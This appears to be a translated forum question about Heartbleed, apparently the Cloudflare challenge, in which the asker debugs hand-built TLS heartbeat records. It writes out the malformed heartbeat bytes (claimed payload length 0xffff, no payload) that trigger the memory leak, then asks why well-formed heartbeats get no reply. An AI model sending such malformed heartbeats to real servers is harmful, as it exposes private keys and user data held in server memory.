我一直在处理 heartbleed 错误(主要是cloudflare 挑战)并且创建无效的心跳很容易,我一直在发送如下:
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0xff, 0xff # Payload length
# NO PAYLOAD
### END HEARBEAT ###
但是,当我尝试发送这个有效的心跳时,服务器没有响应。
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0x00, 0x03 # Payload length
0x68, 0x61, 0x74, # Payload: hat
### END HEARBEAT ###
我尝试过调整有效载荷长度,但 +1 或 -1 都不起作用。即使长度明显高于实际长度也不起作用。关于我做错了什么的任何想法?
编辑:响应@warren-dew,这也不起作用:
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0x00, 0x03 # Payload length
0x68, 0x61, 0x74, # Payload: hat
0x34, 0x90, 0xf0, 0xf3, # PADDING
0xe3, 0xb4, 0x5c, 0x9c, # PADDING
0x80, 0xff, 0x95, 0x74, # PADDING
0x9d, 0x81, 0xfa, 0xa0 # PADDING
### END HEARBEAT ###
编辑:响应@warren-dew,再次调整但仍然不起作用:
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x16, # Length <- Changed
# Payload
0x01, # Type (Request)
0x00, 0x03 # Payload length
0x68, 0x61, 0x74, # Payload: hat
0x34, 0x90, 0xf0, 0xf3, # PADDING
0xe3, 0xb4, 0x5c, 0x9c, # PADDING
0x80, 0xff, 0x95, 0x74, # PADDING
0x9d, 0x81, 0xfa, 0xa0 # PADDING
### END HEARBEAT ###